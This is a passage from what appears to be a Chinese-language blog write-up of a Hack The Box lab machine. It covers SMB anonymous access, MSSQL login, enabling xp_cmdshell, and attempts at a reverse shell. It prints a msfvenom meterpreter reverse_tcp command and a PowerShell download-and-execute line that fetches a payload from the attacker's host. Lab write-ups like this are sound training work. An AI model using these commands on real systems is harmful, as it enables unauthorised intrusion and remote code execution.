现在开始HTB打靶之路,做一些记录。
1.信息收集
首先NMAP开路
解释一下:
nmap -sC 根据端口识别服务自动调用默认脚本
nmap --script
好了开始
其中值得关注的有445 SMB服务,1433 MSSQL
先看看SMB,Linux可使用SMBclient访问windows系统发布的共享资源
尝试匿名访问
匿名访问成功
配置文件找到密码
2.获取权限
接下来尝试连接数据库,使用Impacket下的组件
查看当前用户权限
常见判断有:
select is_srvrolemember('sysadmin'); 判断当前是否为sa
select is_srvrolemember('db_owner'); 判断当前用户写文件、读文件的权限(db_owner)
select is_srvrolemember('public'); 判断是否有public权限,SQL注入中可以爆破表
以上正确执行后返回值都为1
所以得知目前是sysadmin权限,可以执行xp_cmdshell
xp_cmdshell 扩展:存储过程将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出
启用xp_cmdshell并查看权限
如果未成功,也可以用以下办法开启:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
注:
XEC sp_configure 'show advanced options' , 1
sp_configure 是修改系统配置的存储过程,当设置 show advanced options 参数为 1 时,才允许修改系统配置中的某些高级选相!!系统中这些高级选项默认是不允许修改的!('xp_cmdshell' 是高级选项参数之一! )
RECONFIGURE
提交第一步操作并更新使用 sp_configure 系统存储过程更改的配置选项的当前配置
EXEC sp_configure 'xp_cmdshell' ,1
执行系统存储过程 修改 高级选项 参数'xp_cmdshell' 等于1,这个参数等于1 表示允许sqlserver 调用数据库之外的操作系统命令
RECONFIGURE
提交更新第三步的操作
执行后:
3.建立shell连接
用msfvenom生成powershell脚本
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.14.133 lport=8899 -f psh-reflection -o shell.ps1
开启handler监听
SQL执行命令下载到本地执行
xp_cmdshell powershell IEX(New-object Net.webclient).downloadString("http://10.10.14.133/shell.ps1")
吐血,被杀软拦截了。。
第二种尝试,https://www.revshells.com/生成了一个shell,放在本地
用Python开启http server
sql执行第二个shell
看来要研究一下evasion技术了
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。